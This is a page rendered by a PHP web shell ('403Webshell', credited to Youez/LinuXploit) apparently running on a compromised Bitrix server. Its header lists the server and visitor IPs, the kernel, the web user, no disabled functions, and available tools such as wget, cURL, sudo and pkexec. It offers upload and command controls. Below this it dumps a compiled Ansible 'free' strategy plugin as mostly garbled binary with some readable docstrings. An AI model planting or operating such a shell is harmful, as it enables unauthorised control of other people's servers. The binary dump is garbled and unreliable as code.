403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/plugins/strategy/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/plugins/strategy/__pycache__/free.cpython-311.opt-1.pyc
�

���cX>����ddlmZmZmZeZdZddlZddlm	Z
ddlmZm
Z
ddlmZddlmZddlmZdd	lmZdd
lmZddlmZddlmZe��ZGd
�de��ZdS)�)�absolute_import�division�print_functiona�
    name: free
    short_description: Executes tasks without waiting for all hosts
    description:
        - Task execution is as fast as possible per batch as defined by C(serial) (default all).
          Ansible will not wait for other hosts to finish the current task before queuing more tasks for other hosts.
          All hosts are still attempted for the current task, but it prevents blocking new tasks for hosts that have already finished.
        - With the free strategy, unlike the default linear strategy, a host that is slow or stuck on a specific task
          won't hold up the rest of the hosts and tasks.
    version_added: "2.0"
    author: Ansible Core Team
N)�	constants)�AnsibleError�AnsibleParserError)�Handler)�IncludedFile)�
action_loader)�StrategyBase)�Templar)�to_text)�Displayc�,��eZdZdZ�fd�Z�fd�Z�xZS)�StrategyModuleFc�f��tt|���|��d|_dS)NF)�superr�__init__�_host_pinned)�self�tqm�	__class__s  ��B/usr/lib/python3.11/site-packages/ansible/plugins/strategy/free.pyrzStrategyModule.__init__6s/���
�n�d�#�#�,�,�S�1�1�1�!�����c���d}|jj}t|j��}|�|j��|jj�t�d��d}|�	rd|jj	�	sW|�
|��}t|��dkr|j�d��d}�	nd}|}g}		||}
t�d|
z��|
�
��}|�|
d���\}}
t�d	|z|�
��t�d|
z|�
��|
s|j�|d��r>|jj�|d��st�d|�
��d}|jj�|d���sY|
�rV|j�|d���st�d
|�
��|j�|j|
|
|j|j���}|�||j���t/|j|���}t�d|�
��	t3|�|
j����}n)#t8$r}t;d|
j|����d}~wwxYw|dkrud}|jD]2}|r.|���r|j j!|
j!kr|dz
}�3t�d|
�
��|fz��||kr�n
d|j|<|�"|
j#|��	tIj|
j%d|
j&���}n#tN$rd}YnwxYw	tQ|�|
j#d���d���|
_#t�d|�
��n,#t8$rt�d|�
��YnwxYw|�|
j)��p|otU|dd��}|rK|r/tU|dd��rt;d|
j%z|
j����t�d��tW|
tX��ss|
j-rl|
j-�.|
��rR|
j-j/�|
j-j/r:|
j-j/j0s)t�d |
z|�
��|j|=��h|
j%tbj2vr$|�3|
|||
�!��d|j|<n�|j4r|�5|
|��r�|
j6rt�d"��tW|
tX��r|j�d#|
��n|j�d$|
d�%��|�7|
|
||��|dz}~nt�d&|z��|j8r|dkr|r|}n&|dz
}|t|��dz
krd}||krn���|�9|��}|	�:|��|t|��z
}|�;|��tyj=|	||j|j�'��}t|��dk�r�t}d(�|D����}t��}|D�]�}t�d)|z��d}	|j@r@|�A|��}|�B|j|j|j�*��\}}n2tW|j tX��}|�C|||�+��}d,�|jjDD��|_Dn�#t�$r�t:$ri}|j@r)t�FtQ|��d�-��|jGD]&}d|jHd.<|�I|jJ���'Yd}~��0d}~wwxYw|D]�} |r!| jKD]}
|jLdd�|
_M�| }!nT|j�|j| �N��|j|j�/��}| �O|��}!|D]&}
|
|jLvr||
�P|!���'��t�d0|z�����|D]+}
d|jjQ|
j#<|�R|
���,t�d1t|��z��|D]}
|�S|
||
���t�d2��t�jUtbjV��|r
|jj	�	�W|�W|��}t�t�|���Z|||��S)3am
        The "free" strategy is a bit more complex, in that it allows tasks to
        be sent to hosts as quickly as they can be processed. This means that
        some hosts may finish very quickly if run tasks result in little or no
        work being done versus other systems.

        The algorithm used here also tries to be more "fair" when iterating
        through hosts by remembering the last host in the list to be given a task
        and starting the search from there as opposed to the top of the hosts
        list again, which would end up favoring hosts near the beginning of the
        list.
        rNzsUsing max_fail_percentage with the free strategy is not supported, as tasks are executed independently on each hostT�!v2_playbook_on_no_hosts_remainingFznext free host: %s)�peekzfree host state: %s)�hostzfree host task: %szthis host has work to dozgetting variables)�playr�task�_hosts�
_hosts_all)r)�loader�	variableszdone getting variablesz3Failed to convert the throttle value to an integer.)�obj�orig_exc�ztask: %s, same_tasks: %d)�
class_only�collection_list)�fail_on_undefined�empty)�	nonstringzdone templatingz!templating failed for some reason�BYPASS_HOST_LOOPz�The '%s' module bypasses the host loop, which is currently not supported in the free strategy and would instead execute for every host in the inventory list.)r%z�Using run_once with the free strategy is not currently supported. This task will still be executed for every host in the inventory list.z)'%s' skipped because role has already run)�target_hostzpUsing any_errors_fatal with the free strategy is not supported, as tasks are executed independently on each host�!v2_playbook_on_handler_task_start�v2_playbook_on_task_start)�is_conditionalz%s is blocked, skipping for now)�iteratorr#�variable_managerc3�K�|]}|gfV��	dS)N�)�.0rs  r�	<genexpr>z%StrategyModule.run.<locals>.<genexpr>�s&����!D�!D��4��*�!D�!D�!D�!D�!D�!Drzcollecting new blocks for %s)rr3r#)r2�
is_handlerc�&�g|]}|jD]}|���Sr5)�block)r6�b�hs   r�
<listcomp>z&StrategyModule.run.<locals>.<listcomp>s*��,a�,a�,a�1�YZ�Y`�,a�,a�TU�Q�,a�,a�,a�,ar)�	wrap_text�failed)rr r!r"z!done collecting new blocks for %sz@adding all collected blocks from %d included file(s) to iteratorz(done adding collected blocks to iterator)[�_tqm�RUN_OK�len�_workers�_set_hosts_cache�_play�max_fail_percentage�display�warning�_terminated�get_hosts_left�
send_callback�debug�get_name�get_next_task_for_host�_blocked_hosts�get�_unreachable_hosts�_variable_manager�get_vars�_hosts_cache�_hosts_cache_all�add_tqm_variablesr
�_loader�int�template�throttle�	Exceptionr�_ds�is_alive�_task�_uuid�set_state_for_host�namer�action�collections�KeyErrorr�run_once�getattr�
isinstancer	�_role�has_run�	_metadata�allow_duplicates�C�_ACTION_META�
_execute_meta�_step�
_take_step�any_errors_fatal�_queue_taskr�_process_pending_results�extend�update_active_connectionsr
�process_include_results�dict�set�_is_role�_copy_included_file�get_block_list�_load_included_file�handlersr�error�_results�_result�add�_hostr:r!�notified_hosts�get_first_parent_include�filter_tagged_tasks�append�
_failed_hosts�mark_host_failed�	add_tasks�time�sleep�DEFAULT_INTERNAL_POLL_INTERVAL�_wait_on_pending_resultsrr�run)#rr2�play_context�	last_host�result�workers_free�
work_to_do�
hosts_left�
starting_host�host_resultsr�	host_name�stater �	task_vars�templarrZ�e�
same_tasks�workerrbre�results�included_files�
all_blocks�failed_includes_hosts�
included_filer8�new_ir�
new_blocks�handler_blocks�r�	new_block�final_blockrs#                                  �rr�zStrategyModule.run:sn����	���!���4�=�)�)�����h�n�-�-�-��>�-�9��O�O�R�
S�
S�
S��
��R	9���!6�R	9��,�,�X�6�6�J��:���!�#�#��	�'�'�(K�L�L�L�����J�%�M��L�v
�!�)�,���
�
�2�T�9�:�:�:� �M�M�O�O�	�!)� ?� ?��4� ?� P� P�
����
�
�3�e�;�)�
�L�L�L��
�
�2�T�9�	�
�J�J�J�
�&�D�/�3�3�I�u�E�E�&�t�y�Ok�Oo�Oo�py�|A�PB�PB�&��M�M�"<�9�M�M�M�M�"&�J��y�3�7�7�	�5�I�I�RU�d�RU��.�2�2�9�e�D�D�PU��
�
�&9�	�
�J�J�J�$(�$:�$C�$C���^b�im�KO�K\�OS�Od�%D�%f�%f�	��.�.�y�x�~�.�N�N�N�")����"S�"S�"S���
�
�&>�Y�
�O�O�O�@�'*�7�+;�+;�D�M�+J�+J�'K�'K�H�H��(�@�@�@�".�/d�jn�jr�}~�"�"�"������@����$�a�<�<�)*�J�*.�-�4�4��#)�!4�f�o�o�.?�.?�!4�F�L�DV�Z^�Zd�Dd�Dd�$.�!�O�J��#�M�M�*D��
�
���Yc�Gd�*d�e�e�e�)�X�5�5� %�:>��+�I�6� �3�3�D�I�u�E�E�E�*�%2�%6�t�{�t�ei�eu�%v�%v�%v�F�F��'�*�*�*�&*�F�F�F�*����
_�(/��0@�0@���^c�0@�0d�0d�pw�(x�(x�(x�D�I�#�M�M�*;�)�M�L�L�L�L��(�_�_�_�$�M�M�*M�T]�M�^�^�^�^�^�_����
$+�#3�#3�D�M�#B�#B�#{�f�F{�QX�Y_�as�uz�Q{�Q{��#�b�%�b�'�&�:L�e�*T�*T�b�&2�4u�w{�xC�4C�IM�IQ�'R�'R�'R�!R�!(���1a�!b�!b�!b�
 *�$��8�8�)�T�Z�)�D�J�L^�L^�_c�Ld�Ld�)� $�z�3�;�t�z�?S�;�\`�\f�\p�]B�;� '�
�
�.Y�\`�.`�gp�
� q� q� q�$(�$7�	�$B� (��;�!�.�8�8� �.�.�t�\�8�Y]�.�^�^�^�=B�D�/�	�:�:�$(�:�.�����y�1Q�1Q�.�#'�#8�!h�$+�O�O�5g�%h�%h�%h�#-�d�G�#<�#<�!u�$(�I�$;�$;�<_�ae�$f�$f�$f�$f�$(�I�$;�$;�<W�Y]�ns�$;�$t�$t�$t� $� 0� 0��t�Y�� U� U� U� ,�� 1��$-���
�
�&G�)�&S�T�T�T��$����):�):�z�):� -�I���Q��	��s�:����2�2�2� !�I��
�-�-��mv
�p�3�3�H�=�=�G�����(�(�(�
�C��L�L�(�L��*�*�7�3�3�3�)�A��!��|�!%�!7�	���N��>�"�"�Q�&�&�!�!D�!D��!D�!D�!D�D�D�
�(+���%�%3�.W�.W�M��M�M�"@�=�"P�Q�Q�Q�!&�J�!�(�1�
{�%)�%=�%=�m�%L�%L�F�9?�9N�9N�%-�^�15�1G�'+�|�:O�:�:�6�J���*4�M�4G��)Q�)Q�J�)-�)A�)A�-�Zb�oy�)A�)z�)z�J�-b�,a���8O�,a�,a�,a��)�)��-�����'�!�!�!�(�1�G�#�M�M�'�!�*�*��M�F�F�F�!.�!7�?�?�A�26�A�I�h�/�1�5�5�a�g�>�>�>�>� ���������!����&0�E�E�	�%�S�(1��N�N��6C�6J�1�1�1�6M�� 3� 3�*3�K�K�(,�(>�(G�(G�%-�^�%.�%G�%G�%I�%I�'+�'8�+/�+@�	)H�)�)�I�+4�*G�*G�	�*R�*R�K�$.�E�E�D�#�}�';�;�;� *�4� 0� 7� 7�� D� D� D��E��M�M�"E�
�"U�V�V�V�V�1�4�4�D�9=�D�I�+�D�I�6��-�-�d�3�3�3�3��
�
�`�cf�gu�cv�cv�v�w�w�w�&�?�?�D��&�&�t�Z��-=�>�>�>�>��
�
�H�I�I�I�
�J�q�7�8�8�8�e�R	9���!6�R	9�j�/�/��9�9���^�T�*�*�.�.�x��v�N�N�NsW�'J0�0
K�:K�K�:!N�N+�*N+�/AO<�<&P%�$P%�4B_	�	a�Aa�a)�__name__�
__module__�__qualname__�ALLOW_BASE_THROTTLINGrr��
__classcell__)rs@rrr1sk�������"��"�"�"�"�"�uO�uO�uO�uO�uO�uO�uO�uO�uOrr)�
__future__rrr�type�
__metaclass__�
DOCUMENTATIONr��ansiblerrl�ansible.errorsrr�ansible.playbook.handlerr	�ansible.playbook.included_filer
�ansible.plugins.loaderr�ansible.plugins.strategyr�ansible.templater
�ansible.module_utils._textr�ansible.utils.displayrrGrr5rr�<module>r�s8��$C�B�B�B�B�B�B�B�B�B��
��
�����"�"�"�"�"�"�;�;�;�;�;�;�;�;�,�,�,�,�,�,�7�7�7�7�7�7�0�0�0�0�0�0�1�1�1�1�1�1�$�$�$�$�$�$�.�.�.�.�.�.�)�)�)�)�)�)�
�'�)�)��~O�~O�~O�~O�~O�\�~O�~O�~O�~O�~Or

Youez - 2016 - github.com/yon3zu
LinuXploit